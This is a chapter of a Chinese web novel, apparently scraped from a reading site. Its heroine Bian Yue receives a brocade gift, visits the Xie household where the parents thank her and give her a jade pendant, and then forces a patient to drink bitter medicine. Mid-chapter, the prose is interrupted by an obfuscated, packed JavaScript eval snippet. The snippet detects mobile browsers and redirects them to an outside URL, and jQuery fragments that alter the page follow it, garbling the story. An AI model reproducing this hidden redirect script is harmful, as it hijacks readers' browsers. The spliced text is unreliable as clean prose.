12. 第12章 谢府

作品:《王妃的求生日常

    “公子,东西取来了。”门外传来墨叔的声音。


    “进来。”


    墨叔推门而入,捧着一个长条形的沉香木匣,打开锁扣。


    那是一套交领窄袖的襦裙,乍一看似是清冷的水色,流转间泛出一层淡青色的烟岚,似雨后初霁的天光。衣襟处织了数朵梅花,只有在光影浮动时才会显现。


    其中裙摆是用极细的金蚕丝混着藕丝织就的,迎着光晃动时,会浮现出大片如碎金般的流光。


    谢知鸢看得有些痴了,忍不住惊叹:“寸锦寸金,光影随行,真不愧是浮光锦。”


    边月越看越喜欢,只是这赔礼未免太厚了。


    “沈大人这就送我了?”


    “我与你师兄江庭玉乃多年旧识,若是让他知道他的宝贝小师妹在我这里受了委屈,定要杀到我的府上。”沈会辞眼底划过一丝无奈,“我可受不住。”


    “既如此,我先谢过沈大人了。”边月留了个心眼,等下次遇到大师兄定要问问,他何时与这位沈大人多年旧时了。


    她只身出来,东西也不好拿,转头对墨叔道:“墨叔,劳烦您找几个稳妥的伙计将东西送到紫云峰脚下吧,届时自会有人来取的。”


    “姑娘放心。”墨叔将木匣包好,又挑了几匹时兴的云锦,着伙计一同送去。


    出了锦绣坊,长街喧嚣依旧。


    边月正欲告辞,袖口被人轻轻扯住:“阿月,你随我一趟回府吧,我母亲想见见你。”


    边月有些迟疑。


    谢知鸢再接再厉:“自从上次那桩事后,我母亲一直念叨着要当面谢过你。若是知道我今日遇见你却没把你带回去,定要责怪我不懂礼数。”


    见边月还在犹豫,谢知鸢摇了摇她的手臂,软声道:“去嘛。”


    边月向来吃软不吃硬,被她这么一撒娇,无奈道:“好了好了,怕了你了,我随你一道回去。”


    谢知鸢眉开眼笑,转头对着门口沈会辞道:“沈大人,今日与你说的那桩事,希望你能考虑一番,我们先告辞了。”


    “谢小姐放心,沈某心里有数。”


    谢知鸢低首,不再去看那双摄人心魄的眸子,忙拉着边月往马车走去。


    借着掀帘的动作,忍不住回头看那月白身影,直至车帘落下,才依依不舍地收回目光。


    回到二楼。


    秦照从暗处出来:“公子,咱真的要与谢府合作吗?”


    沈会辞摩挲手上的棋子,久久未言。


    秦照又道:“主子那边……”


    一记冷眼扫过,秦照低头不敢再多言,他跟在公子身边数年,从来不曾摸透过他的想法。


    ...


    马车辚辚而行,车厢内暖香浮动,两人并肩而坐。


    边月看她魂不守舍的模样,回想起上元灯节那一幕,问道:“当时覃相杰骂的那个小白脸,不会是他吧?”


    谢知鸢俏脸倏的一下爆红,眼神慌乱,手里绞着绢帕,说话都变得结巴:“没……没有,阿月,你……你不要听他胡诌。”


    “哦?没有?”边月特意将语调转了几转。


    “阿月!”谢知鸢心跳如雷,羞得再也说不出一句辩驳的话。


    边月见好就收,乐得在一旁欣赏这美人娇羞、少女怀春的风景。


    谢知鸢回想起初次与他相见的场景,心中泛起阵阵涟漪,久久无法平静。


    谢府坐落于城北松落坊,京中书香世宦多聚居于此,话语间,马车已拐入了一条宽阔幽静的街道,古槐参天,掩映着一座座高门大户。


    行至正中,一座朱漆大门映入眼帘,门楣高悬黑漆描金的匾额,题着谢府二字。


    谢知鸢性子急,下了马车便拉着边月直奔后院。


    梨花树下,一道绛红色的身影上下翻飞。那妇人约莫三十许岁,束起高马尾,简单一件窄袖暗纹劲装。


    “娘!”


    温氏手中长缨猛地一收,额角沁出薄汗,上挑的丹凤眼神采奕奕,透着一股子爽利与豪气。


    温氏接过孙嬷嬷递的帕子,抹了把汗,目光越过自家女儿,落到边月身上,眼中闪过一丝亮色:“这是?”


    “这是边月,我跟娘提过的。”


    “见过夫人。”边月福了一福。


    “好个标致的姑娘!”温氏爽朗一笑,将长缨递给孙嬷嬷:“鸢儿先带客人去厅堂奉茶,我换身衣服马上就来。”


    厅堂内。


    “我觉着我娘挺喜欢你的。”谢知鸢在边月耳边悄声道。


    “何以见得?”边月啜了口茶。


    谢知鸢歪了歪头:“我娘是将门出身,喜不喜欢仅凭她的态度就晓得了,她见你的时候,眼睛都发亮呢。”


    正说着,门外忽传来脚步声。


    “鸢儿,听说有客人来了?”一道温润儒雅的声音由远及近,来人身着绯色官服,风尘仆仆。


    谢知鸢连忙起身:“爹!您回来了。这就是我跟你说的那位姑娘。”


    谢御史一愣,眼里闪过一丝惊讶,不曾想救了他小女的竟是这么一位清丽出尘的年轻姑娘。


    边月起身行礼:“见过谢大人。”


    帘栊响处,温氏换好衣裳走了出来。


    “官人回来了。”温氏走到谢御史身侧,“这位姑娘救了咱们鸢儿,理应好好谢谢才是。”


    谢御史也正有此意,夫妇二人对视一眼,整肃衣冠,齐向边月长身一揖,行了个大礼:“谢姑娘救下小女,此等大恩,谢家没齿难忘。”


    边月忙不迭扶起二人,侧身避过这一礼:“夫人,谢大人,快快请起,举手之劳而已,当不得如此大礼。”


    温氏顺手反握她的手,眼神真挚动容:“那晚之事鸢儿都同我说了。谢府与侯府本是指腹为婚,奈何那覃相杰不学无术,整日里斗鸡走狗,鸢儿对他仅有青梅之宜,并无男女之情。”


    “为了鸢儿的幸福,本想寻个由头将婚退了,却不知他从哪儿得来风声,竟欲行那等下作之事,想毁了鸢儿清白来逼婚。”


    “若非你及时赶到,鸢儿这一辈子怕是毁了。”


    温氏长叹一声,鸢儿那天晚上与她说后,她气急了,第二天一早就去侯府退了婚,侯府自知理亏,即便再不情愿,也不得不答应。


    侯府自是答应绝不将此事外传,以免毁坏两家和气、儿女清誉,对外只当两人不合适。


    她到现在还一阵后怕,她就只有鸢儿这么一个女儿了,若真出了事,就是在她心头上剜肉!


    温氏道:“好孩子,我瞧着你投缘,若你不嫌弃,我收你做义女可好?”


    谢知鸢喜上眉梢,连连点头,这样的话她就可以经常与阿月见面了。


    谢御史觉着有些突然,看夫人如此坚持,且他确实欣赏这姑娘的气度,也含笑点头:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991375|193723||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “若能如此,却是好事一桩。”


    边月心下一暖,轻轻摇了摇头:“承蒙夫人厚爱,边月心领了。我救下知鸢是无意之举,并不图什么回报,况且今日知鸢也帮了我,实在不必如此。”


    温氏见她拒绝得干脆,心中反而更是喜爱了几分,吩咐孙嬷嬷:“将我的两枚白拢玉佩取来。”


    孙嬷嬷下意识看了眼自家夫人:“夫人,那可是……”


    温氏摆摆手,催促道:“让你去拿就去拿。”


    须臾,两个小锦匣呈于案上,那对玉佩莹润如酥,灿若明霞,乃是玉中极品。


    温氏取出左边那枚按入她掌心:“这对玉佩,乃是先皇后所赐。这一枚原是留给鸢儿姐姐的。只可惜那孩子与这世间缘分太浅,福薄。”


    “这枚玉佩你就收下,就当作我的见面礼。长者赐,不可辞。”


    “谢谢夫人。”


    温氏梳拢边月鬓角的发丝,连说几个好字:“珞儿若是还在,应当与你一般年纪。”


    从谢府出来后,边月一连在木屋呆了三日,直至最后一枚银针收入包中,将寒蚀彻底清除。


    应华觑着边月来的汤药,眉头紧锁,身子后仰。


    那汤药黑黢黢的一坨,表面还浮了层油光,一股生锈铁钉混合苦瓜汁的怪味熏得他太阳穴突突直跳,几欲作呕。


    “欸,你躲什么?这是给你固本培元的。”边月不由分说地将碗往前推了推,却见他身子后仰的更厉害了。


    她狐疑道:“你不会是怕吃汤药吧?”


    应华四肢一僵,脸色却不显露什么:“没有,太烫了,我待会再喝。”


    “行吧,我给你去拿盒蜜饯。”


    应华屏住呼吸,跟手里那碗汤药僵持着,端起,放下,又端起,又放下。


    待最足了心理准备,眼一闭,仰头硬灌了三分之一,那味道顺着喉管炸开,激得他五官有一瞬的扭曲。


    必须倒掉。


    他扫了一眼窗外,正欲倒掉时,突感背脊一冷,一道凉凉的声音幽幽从背后传来:


    “那花本来就快死了,你这一碗下去,怕是死的透透的。”


    应华的手僵在半空,面无表情地把碗放回桌上。


    边月左手端着白粥,右手晃着一包蜜饯,笑眯眯道:“原来你怕苦药啊。”


    应华紧抿着唇,没接话,嘴里的苦味还没散,正翻江倒海地折腾。


    “喏,特意给你熬地,喝点去去味。”边月将刚煮好的白粥递给他。


    他舀了一大勺送入口中,霎时,略带病态的脸瞬间涨得通红,剧烈地呛咳。


    待他好不容易止住咳,满脸不可置信:“你放了多少盐?”


    “两三勺吧?”边月答得不太确定,“我凭手感放的。”


    应华一时不知道用什么语言来形容。


    看他神色古怪,边月不信邪也舀了勺尝尝。


    下一瞬,她转头吐得比他还快:“好像,可能确实咸了那么一点点。”


    一刻钟后。


    在边月的威逼利诱下,应华被迫将整碗汤药喝完见底。


    他铁青着脸活像阎王爷般,握拳的手咯吱作响,似要杀了边月泄愤。


    边月才不管他,自顾自说道:“毒解了,药也喝了,该谈谈正事了。”


    “摄政王所率领的天策军不久就要回京,你打算何时带我入府?”